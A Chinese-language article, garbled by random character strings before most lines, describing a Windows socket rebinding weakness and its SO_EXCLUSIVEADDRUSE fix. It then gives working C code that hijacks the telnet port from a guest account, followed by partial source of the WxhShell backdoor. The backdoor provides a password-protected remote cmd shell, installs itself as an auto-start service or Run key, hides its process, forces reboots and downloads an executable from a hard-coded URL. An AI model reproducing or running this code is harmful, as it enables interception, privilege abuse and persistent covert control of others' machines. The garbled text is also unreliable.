在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
JM-+p s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
9akIu.H amH..D7_> saddr.sin_family = AF_INET;
mIX[HDy:V$ _]# ^2S saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Juqe%he` WVfwt.Y bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
vMB`TpZ xLmgr72D 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
rW(<[2 vg ]1(G:h\ 这意味着什么?意味着可以进行如下的攻击:
pZg}7F{$ O^,%V{]6\ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
n6Qsug$z t/TWLhx/ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
1SGLA"r [|!A3o 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
- .EH?{i M'D l_dx- 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
2)zAX"#/ !ENDQ?1 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
}[gk9uM_7 s}3`%?,6y 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
QwSYjR:K Ob#d;F 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
2/W5E-tn ]'iOV-2^' #include
~DYv6-p% #include
R]! [h #include
,'f^K!iA #include
t/57LjV DWORD WINAPI ClientThread(LPVOID lpParam);
@z-%:J/$ int main()
Z=&cBv4Fs {
\_w>I_=F WORD wVersionRequested;
;"K;D@xzh] DWORD ret;
zG. \xmp WSADATA wsaData;
&Q`{ Gk BOOL val;
,&5\` SOCKADDR_IN saddr;
#NZ#G~oeO SOCKADDR_IN scaddr;
f"}g5eg+ int err;
_P{f+HxU SOCKET s;
W:gpcR]> SOCKET sc;
# zbAA<f int caddsize;
dz>2/' HANDLE mt;
S4hv7.A DWORD tid;
-$2a@K,i wVersionRequested = MAKEWORD( 2, 2 );
~Bi>T15e err = WSAStartup( wVersionRequested, &wsaData );
\QvoL if ( err != 0 ) {
.;$Ub[ printf("error!WSAStartup failed!\n");
9k.5'# return -1;
(& UQ^ }
x,% %^( saddr.sin_family = AF_INET;
k:QeZn( /L yoTBG //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
LpYG!K l )p^" J| saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
`]7==c #Y saddr.sin_port = htons(23);
ouE/\4'NB if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
}nUq=@ej {
YstR
T1 printf("error!socket failed!\n");
A+w'quXn return -1;
n(h9I'V8)F }
ZO#f)>s2 val = TRUE;
?` lD|~ //SO_REUSEADDR选项就是可以实现端口重绑定的
}NJKkj? if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
mfqnRPZ {
}]
p9 printf("error!setsockopt failed!\n");
v8} vk]b return -1;
y<g1q"F }
Cvp!(<<gK //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
JyO2P //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
xWnOOE$i //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
cE;n>ta"F mPL0s if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
l@)`Q {
AxtmG\o> ret=GetLastError();
lz7?Z printf("error!bind failed!\n");
S"4eS,5L| return -1;
2{Y~jYt{h }
?XbM listen(s,2);
m{;j
r< while(1)
*\(MG|S {
jNvDE}' caddsize = sizeof(scaddr);
-tZ~&1" //接受连接请求
$<QrV,T sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
^6On^k[|fw if(sc!=INVALID_SOCKET)
E|vXM"zFl {
bu9.HvT' mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
IIG9&F$G if(mt==NULL)
yAiO._U {
vSu
dT printf("Thread Creat Failed!\n");
lvsj4cT break;
Yb=77(QV }
M#_|WL~ }
6_s(Kx>j CloseHandle(mt);
q{ [!" , }
B[I9<4} closesocket(s);
RfOJUz WSACleanup();
Cyos* return 0;
XEnu0gr }
Z5E; FGPb DWORD WINAPI ClientThread(LPVOID lpParam)
2Rt6)hgY {
T](}jQxj` SOCKET ss = (SOCKET)lpParam;
R_O=WmD SOCKET sc;
o]Xt2E unsigned char buf[4096];
@c- SOCKADDR_IN saddr;
|UlG@Mn long num;
Wqkb1~]#Y DWORD val;
Q~tXT_ DWORD ret;
N+ak{3 //如果是隐藏端口应用的话,可以在此处加一些判断
J#48c' //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
x_/}R3d saddr.sin_family = AF_INET;
_1NK9dp: saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
AN:yL
a! saddr.sin_port = htons(23);
l>MDCqV if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
.L+XV y {
cT(6>@9@ printf("error!socket failed!\n");
W|D
kq return -1;
zs~Tu }
M+0PEf. val = 100;
BZ=I/L if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
s-_D,$ | {
<:V~_j6P0 ret = GetLastError();
+Q[uq!<VJk return -1;
D8<C7 }
WFiX=@SS if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
ni&|;"Nt- {
]q.%_ ret = GetLastError();
Km;}xke6 return -1;
g"Y_!)X }
mwo:+^v( if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
+]s,VSL5` {
@uH!n~QV printf("error!socket connect failed!\n");
!uQT4<g closesocket(sc);
Bz<hP*.O closesocket(ss);
]bJz-6u#: return -1;
6,A|9UX=` }
N^dQX,j while(1)
H;
NV?CD {
uMEM7$o //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
R>*z8n //如果是嗅探内容的话,可以再此处进行内容分析和记录
V6X )L>!xx //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
VD$5 Djq num = recv(ss,buf,4096,0);
;NR|Hi] if(num>0)
l cie6'< send(sc,buf,num,0);
Qz,2PO else if(num==0)
?1D!%jfi break;
>[AmIYg num = recv(sc,buf,4096,0);
4AS%^&ah if(num>0)
@"@|O>KJ send(ss,buf,num,0);
0+e=s0s. else if(num==0)
1EXT^2!D break;
H-PVV&r }
-67Z!N closesocket(ss);
oI;ho6y) closesocket(sc);
hBjU(}\3 return 0 ;
{^z73Gxt, }
%dzt'uz WR{m?neE_N 5rows]EJJl ==========================================================
zr/v .$< y>EW,%leC 下边附上一个代码,,WXhSHELL
509T?\r `eMZhYo ==========================================================
Byc;r-Q5V QN#"c #include "stdafx.h"
6G2~'zqPc~ ,c&u\W=p #include <stdio.h>
?6CLUu|7n #include <string.h>
t`Kpbfk #include <windows.h>
A0<g8pv #include <winsock2.h>
i1cd9 #include <winsvc.h>
l+9RPJD/: #include <urlmon.h>
@Chl>s W3,r@mi^s7 #pragma comment (lib, "Ws2_32.lib")
~#E&E%sJ #pragma comment (lib, "urlmon.lib")
|*NLWN.ja) pG#tMec #define MAX_USER 100 // 最大客户端连接数
MJ JC6: #define BUF_SOCK 200 // sock buffer
<=NnrZOF #define KEY_BUFF 255 // 输入 buffer
#c:s2EL FOQ-KP\=, #define REBOOT 0 // 重启
yMN JHiE/ #define SHUTDOWN 1 // 关机
cy8>M))c 9<u&27. #define DEF_PORT 5000 // 监听端口
y||
n9 U4"^NLAq #define REG_LEN 16 // 注册表键长度
3+Lwtb}XPF #define SVC_LEN 80 // NT服务名长度
?{ )'O+s I6^y` 2X // 从dll定义API
1Vy8eI`4 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
4;6"I2;zfG typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
i{fw?))+ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
}k VC]+ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
P8YnKyI,. GJB+]b- // wxhshell配置信息
!V.]mI struct WSCFG {
}ppApJT int ws_port; // 监听端口
(2;Aqx5i char ws_passstr[REG_LEN]; // 口令
^UvL1+ int ws_autoins; // 安装标记, 1=yes 0=no
c,r6+oX char ws_regname[REG_LEN]; // 注册表键名
>V^8<^?G char ws_svcname[REG_LEN]; // 服务名
<9]"p2 char ws_svcdisp[SVC_LEN]; // 服务显示名
k M/:n char ws_svcdesc[SVC_LEN]; // 服务描述信息
1'hpg>U char ws_passmsg[SVC_LEN]; // 密码输入提示信息
D+!T5)>( int ws_downexe; // 下载执行标记, 1=yes 0=no
dEDhdF#f char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Qr
R+3kxM char ws_filenam[SVC_LEN]; // 下载后保存的文件名
|B(,53 K>'4^W5d, };
@wXYza0|d .uA
O.< // default Wxhshell configuration
- k0a((? struct WSCFG wscfg={DEF_PORT,
E/H9# "xuhuanlingzhe",
z"<S$sDh 1,
UT@Qo}: "Wxhshell",
iYLg[J" "Wxhshell",
OFohyy( "WxhShell Service",
5i6Ji( "Wrsky Windows CmdShell Service",
dU-:#QV6 "Please Input Your Password: ",
w?D= 1,
Z%?>H iy'o "
http://www.wrsky.com/wxhshell.exe",
{%wrx'< "Wxhshell.exe"
-d?<t}a };
n'ZPB 9vi+[3s/=; // 消息定义模块
3x(Y+
ymP char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
F~v0CBcAL char *msg_ws_prompt="\n\r? for help\n\r#>";
t,Tq3zB char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
AIP0PJI3 char *msg_ws_ext="\n\rExit.";
\&d1bq char *msg_ws_end="\n\rQuit.";
x6aVNH= char *msg_ws_boot="\n\rReboot...";
E7$ aT^ char *msg_ws_poff="\n\rShutdown...";
HE*^!2f char *msg_ws_down="\n\rSave to ";
[Qr_0O Vb\^xdL> char *msg_ws_err="\n\rErr!";
[ !~8TF char *msg_ws_ok="\n\rOK!";
D8k >f ] `_D A! char ExeFile[MAX_PATH];
yodhDSO5i int nUser = 0;
"wVisL2+. HANDLE handles[MAX_USER];
hAgrs[OFj int OsIsNt;
,wr5DQ &OvA[<qT SERVICE_STATUS serviceStatus;
z>W?\[E<2 SERVICE_STATUS_HANDLE hServiceStatusHandle;
C^?/9\
:EPe,v RT // 函数声明
pl}W|kW} int Install(void);
k(`> (w int Uninstall(void);
:S`12*_g" int DownloadFile(char *sURL, SOCKET wsh);
)"Ujx`]4r int Boot(int flag);
>xRUw5jN void HideProc(void);
9AWP`~l` int GetOsVer(void);
C\[:{d int Wxhshell(SOCKET wsl);
. Z`xNp void TalkWithClient(void *cs);
lE+Duap: int CmdShell(SOCKET sock);
55b/giX int StartFromService(void);
\0*dKgN int StartWxhshell(LPSTR lpCmdLine);
=g%<xCp i1{)\/f3 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
9G1ZW=83 VOID WINAPI NTServiceHandler( DWORD fdwControl );
njNqUo> sCf)#6mI // 数据结构和表定义
h1Y^+A_ SERVICE_TABLE_ENTRY DispatchTable[] =
Qp@}v7Due {
D=f$-rn {wscfg.ws_svcname, NTServiceMain},
[pt U} {NULL, NULL}
cNKGEm
;z };
X~*/ ~f ,7d#t4 // 自我安装
oh:.iL}j int Install(void)
1k%HGQM{ {
tI0D{Xrc char svExeFile[MAX_PATH];
V2yX;u HKEY key;
A/ Sj>Y1j strcpy(svExeFile,ExeFile);
1Fsa}UK F)aF.'$-/ // 如果是win9x系统,修改注册表设为自启动
!h^_2IX if(!OsIsNt) {
z+c8G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
nWd;XR6| RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
2`V0k.$?p RegCloseKey(key);
3z k},8fu if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
~A(^< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
_GoFwVO RegCloseKey(key);
X4k|k> return 0;
^C2SLLgeJ }
n&Q0V. }
6,l5Q }
Rd@?2)Xm else {
Co/04F. 5sB~.z@ // 如果是NT以上系统,安装为系统服务
#8WHIDS> SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
GG4FS if (schSCManager!=0)
b6""q9S! {
$GD
Q1&Z SC_HANDLE schService = CreateService
bIuOB| (
4^^=^c schSCManager,
,W$&OD wscfg.ws_svcname,
I#(?xHx
wscfg.ws_svcdisp,
0.~s>xXp SERVICE_ALL_ACCESS,
0c&DSL}6 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
2\"T& SERVICE_AUTO_START,
F~GIfJU SERVICE_ERROR_NORMAL,
rwpH9\GE svExeFile,
[1e/@eC5 NULL,
&!>.)I` NULL,
8wCB}q C NULL,
"Qk)EY NULL,
N8*QAekN NULL
yi<H }& );
Bl+PJ
0 if (schService!=0)
fKkS_c
2 {
^HWa owy= CloseServiceHandle(schService);
|4Os_*tRKU CloseServiceHandle(schSCManager);
AD7&-=p&w strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
+@+*sVb strcat(svExeFile,wscfg.ws_svcname);
Go7 oj'" if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
5[`f(; RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
iG{xDj{CKv RegCloseKey(key);
i@ehD@.dH return 0;
%\1W0%w }
:>3?|Z"Aj }
CeUC[cUQU CloseServiceHandle(schSCManager);
T?*f}J }
xQxq33\ }
'Z6x\p C!|Yz=e return 1;
g7v(g? }
Yo}QW;,g x.q "FXu // 自我卸载
}u;`k'J@ int Uninstall(void)
q]Af I( {
V?n=yg HKEY key;
@lCyH(c% acow if(!OsIsNt) {
PebyH"M( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
4mm>6w8NT RegDeleteValue(key,wscfg.ws_regname);
4V'HPD>=V RegCloseKey(key);
[I(
Yn if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
!{b4+!@p RegDeleteValue(key,wscfg.ws_regname);
O&@CT] )8 RegCloseKey(key);
m(^nG_eX return 0;
AK&=/[U> }
UYhxgPGsj }
FlT5R*m }
?DKY;:dZF else {
,#j'~-5 5 i=C?W`' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
MAL;XcRR if (schSCManager!=0)
*_K*GCy {
pL,l SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
{n(/ c33 if (schService!=0)
h*\u0yD) {
j7J'd?l if(DeleteService(schService)!=0) {
FQ u c}A CloseServiceHandle(schService);
;]W@W1)$ CloseServiceHandle(schSCManager);
{=ATRwUL return 0;
YVPLHwh/5 }
]$I}r=
Em CloseServiceHandle(schService);
9u%(9Ae }
Yzw[.(jc} CloseServiceHandle(schSCManager);
<4582x,G }
'i4L.& }
-0P9|;h5 r'MA$PiS' return 1;
P[tYu: }
b8glZb*$ JB'XH~4H // 从指定url下载文件
jW>K#vj int DownloadFile(char *sURL, SOCKET wsh)
[OR"9W& {
#gXxBM HRESULT hr;
6i@* L\
Dl char seps[]= "/";
z#2n+hwE char *token;
uc/W/c u, char *file;
i:1
@ vo char myURL[MAX_PATH];
&_74h);2I: char myFILE[MAX_PATH];
KtHkLYOCG Z}.ZTEB strcpy(myURL,sURL);
pj7v{H + token=strtok(myURL,seps);
<(i5hmuVd while(token!=NULL)
tTWEhHQ` {
8#/y`ul file=token;
X!m
lC51 token=strtok(NULL,seps);
K|I<kA~!H }
8 #:k b7B|$T, GetCurrentDirectory(MAX_PATH,myFILE);
7mE9Zo1 strcat(myFILE, "\\");
}b/P\1#z strcat(myFILE, file);
L@Q+HN send(wsh,myFILE,strlen(myFILE),0);
!;0K=~(Y^ send(wsh,"...",3,0);
JfmYr47Pv hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
'.&Y)A6! if(hr==S_OK)
l]OzE-*$b return 0;
,e$6%R else
?:G 3U\M return 1;
$m A2AI ;a| ~YM2I }
7VL|\^Y `q nv\K!wZI=b // 系统电源模块
Ov^##E int Boot(int flag)
:Qhrh(i {
Nd&UWk^ HANDLE hToken;
-:E~Z_J` TOKEN_PRIVILEGES tkp;
P^tTg pdvnpzj if(OsIsNt) {
{Wu[e,p OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
*QV"o{V LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
5~j#Z (}u tkp.PrivilegeCount = 1;
%"eR0Lj+zq tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
"%\hDL; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
=E<H_cUS if(flag==REBOOT) {
|Wjpnz if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
tym:C7v%~ return 0;
? ^W1WEBm }
c+
e~BN else {
M X8|;t if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
i;-M8Q^ return 0;
om2N*W.gk }
m uy^>2p }
Fm,` ]CO else {
EO~L.E%W if(flag==REBOOT) {
}YVF
fi~ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
5doi4b>]! return 0;
Ikw@B)0} }
Fxc_s/^=t else {
_DH^ K9,9 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
sRA2O/yKCE return 0;
_+'!l'` }
DA.k8M }
P_w4
DU bd~m'cob> return 1;
a4*976~![ }
ir/uHN@ N+@ Ff3M // win9x进程隐藏模块
yCvtglAJ4 void HideProc(void)
cw{TS {
6#!CBY^{ KE@+I.x HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
*LU/3H|} if ( hKernel != NULL )
b&mA1w[W] {
Dws)
4hH pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
!Yv_V]u= ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
?VmgM"'md FreeLibrary(hKernel);
_X~O6e-! }
L_RVHvA=M/ dN)8r return;
@,TIw[p }
$_E.D>5^%7 R`Z"ey@C // 获取操作系统版本
ds9'k. int GetOsVer(void)
T\uIXL?3 {
]}XDDPbZ} OSVERSIONINFO winfo;
TZ5TkE;1 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
m^}|LB:5 GetVersionEx(&winfo);
i7XY3yhC if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
kpIn_Ea return 1;
in<.0v9w else
uBx\xeI return 0;
:LY.C<8 }
= IRot _d5:Y // 客户端句柄模块
\ +%~7Bi]z int Wxhshell(SOCKET wsl)
L
AasmQ {
6r<a SOCKET wsh;
"Zgwe,# struct sockaddr_in client;
/)sP, 2/ DWORD myID;
W3tin3__
IDH~nMz while(nUser<MAX_USER)
@"MYq#2c$ {
0N$7(. int nSize=sizeof(client);
+9b{Y^^~T wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
id1cZig if(wsh==INVALID_SOCKET) return 1;
["EXSptB !HDb{f handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
UJI2L-;Ul if(handles[nUser]==0)
f47]gtB- closesocket(wsh);
LUMbRrD- else
djOjd, nUser++;
CvY+b^ ; }
pY"WW0p"C WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
eut2x7Z(c _Hv+2E[4Z return 0;
lLTqk\8g }
4f[%Bb <u!cdYo@ // 关闭 socket
DO*U7V02 void CloseIt(SOCKET wsh)
8Agg%*Qs} {
o%t4WQ|bj closesocket(wsh);
SV>tw`2 nUser--;
p0@^1 ExitThread(0);
MNd\)nX }
z$%twBg}# ukSv70Ev // 客户端请求句柄
^<CVQ8R7 void TalkWithClient(void *cs)
EnM {
A`Z/B[) 1|MRXK SOCKET wsh=(SOCKET)cs;
l*1|B3#m! char pwd[SVC_LEN];
8z#Qp(he char cmd[KEY_BUFF];
y/Xs+ {x char chr[1];
=8\.fp int i,j;
)\akIA FDz`U:8 while (nUser < MAX_USER) {
D@bGJc0 +X=*>^G(- if(wscfg.ws_passstr) {
&zEQbHK6 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
l[/`kK //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
;,&cWz //ZeroMemory(pwd,KEY_BUFF);
L^sjV/\oW i=0;
FH~:&; while(i<SVC_LEN) {
CxFd/X, |THpkfW // 设置超时
}UhYwJf89 fd_set FdRead;
]||b2[* struct timeval TimeOut;
AQ~ xjU FD_ZERO(&FdRead);
sK}AS;: FD_SET(wsh,&FdRead);
W7S~~ TimeOut.tv_sec=8;
N''QQBUD TimeOut.tv_usec=0;
f<YYo int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
c7e,lgG- if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
<3;p>4gN xlI=)ak{ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
bKQho31a'
pwd
=chr[0]; [4z,hob
if(chr[0]==0xd || chr[0]==0xa) { |toP86
pwd=0; Cr.YSWg)4
break; en<~_|J
} .xRdKt!p
i++; zPby+BP
} L+am-k:T~
?KC(WaGJQ
// 如果是非法用户,关闭 socket :viW
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [9; @1I<x
} J&xZN8jW
{&51@UX
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); u^Q`xd1
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GJ ^c^`
7L!JP:v
while(1) { @>2pY_
QNNURf\[(
ZeroMemory(cmd,KEY_BUFF); EQ1**[$
zxyl+tU &
// 自动支持客户端 telnet标准 =X$ ieXq|
j=0; ^b8~X [1J_
while(j<KEY_BUFF) { y*
+y&
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xcB\Y:
cmd[j]=chr[0]; DR#" 3
if(chr[0]==0xa || chr[0]==0xd) { t<H"J__&
cmd[j]=0; *8}b&4O~
break; a|ufm^F
} 4V+bE$Wu
j++; 8Y($ F2
} &.)=>2
LPvp
(1
// 下载文件 CFtQPTw
if(strstr(cmd,"http://")) { RZa/la*
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'a~@q~!
if(DownloadFile(cmd,wsh)) <FT7QO$I
send(wsh,msg_ws_err,strlen(msg_ws_err),0); f}:C~L!
else S$mv(C
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LF dvz0
} 8U{D)KgS
else { GP}; ~
! ]4u"e
switch(cmd[0]) { iU)I"#\l'k
KOcB#UHJ
// 帮助 +3v)@18B1
case '?': { ^m\o(R
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); RT[p!xL
break; &.A_d+K&
} 1By tu >2
// 安装 !cW rB9
case 'i': { "hIYf7r##
if(Install()) g4?2'G5m?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); xR+vu>f
else WgNA%.|,
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @Z5q2Q
break; (J:+'u
} AWO)]rM
// 卸载 )2f#@0SVL
case 'r': { E_,/)U8
if(Uninstall()) kg/ B<w'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); O
NabL.CV
else ]N>ZOV,>
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4]d^L>
break; (:oF\
} rj4@
// 显示 wxhshell 所在路径 3",gjXmBu
case 'p': { Q):#6|u+
char svExeFile[MAX_PATH]; c`O~I<(Pm
strcpy(svExeFile,"\n\r"); w-|Rb~XT
h
strcat(svExeFile,ExeFile); iOfm:DTPr
send(wsh,svExeFile,strlen(svExeFile),0); 66=[6U9 *
break; "x,lL
} Yh<F-WOo2
// 重启 $AK
^E6
case 'b': { K?.~}82c
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); LuS@Kf8N+
if(Boot(REBOOT)) a&s34Pd
send(wsh,msg_ws_err,strlen(msg_ws_err),0); N[{rsUBd
else { VU3RFl
closesocket(wsh); $|$@?H>K
ExitThread(0); ~Ztn(1N
} =*UK!y?n
break; Qz(D1>5I?
} v({O*OR
// 关机 1?'4%>kp
case 'd': { {vu\qXmMv
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x@#>l8k?
if(Boot(SHUTDOWN)) ;&d#)&O"e
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ] \yIHdcDi
else { 5%-{r&
closesocket(wsh); }?[];FB
ExitThread(0); a;o0#I#Si
} +d,
~h_7!
break; J""Cgf
} .6y+van
// 获取shell Y9.3`VX
case 's': { K^WDA])
CmdShell(wsh); BMp'.9Qgm
closesocket(wsh); C4m+Ta%
ExitThread(0); ^ :VH?I=
break; p6JTNxD
} W8W7<ml0A
// 退出 =,XCjiBeC
case 'x': { hFV,FBsAO
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); eWH0zswG
CloseIt(wsh); Z`TfS+O6
break; 0cm34\*
} c>bns/f
// 离开 D]~K-[V?l
case 'q': { #:6-O
send(wsh,msg_ws_end,strlen(msg_ws_end),0); .s{"NqRA
closesocket(wsh); Nd0tR3gi7
WSACleanup(); (~~m 8VJ>
exit(1); juEPUsE
break; ~RR!~q
} KjGu !B
} Jv}
}
(?zg.y
mSYjc)z
// 提示信息 J3yK^@&&
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H-_gd.VD
} (.-4Jn
} 12`u[O}\}-
7xnj\9$m
return; cSt)Na~C
} < $zJi V
GDLw_usV
// shell模块句柄 '/O:@P5qY
int CmdShell(SOCKET sock) Nh\vWAz9
{ =j>xu|q
STARTUPINFO si; ,z&S;f.f
ZeroMemory(&si,sizeof(si)); VR(R.
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rC8p!e.yL
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; sVyV|!K
PROCESS_INFORMATION ProcessInfo; >)M{^
char cmdline[]="cmd"; OnTe_JML
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,YD7p= PY
return 0; Xs2}n^#i
} x^1udK^re
v3r3$(Hr
// 自身启动模式 o[>d"Kp
int StartFromService(void) zQ,rw[C"W
{ R"W}\0k
typedef struct `7/(sX.
{ REW[`MBQ
DWORD ExitStatus; J&8KIOz14Z
DWORD PebBaseAddress; d:)#-x*h7
DWORD AffinityMask; f|{iW E2d
DWORD BasePriority; dlYpbw}W&<
ULONG UniqueProcessId; fo ~uI(rk
ULONG InheritedFromUniqueProcessId; %]+R>+
} PROCESS_BASIC_INFORMATION; $a_y-lY
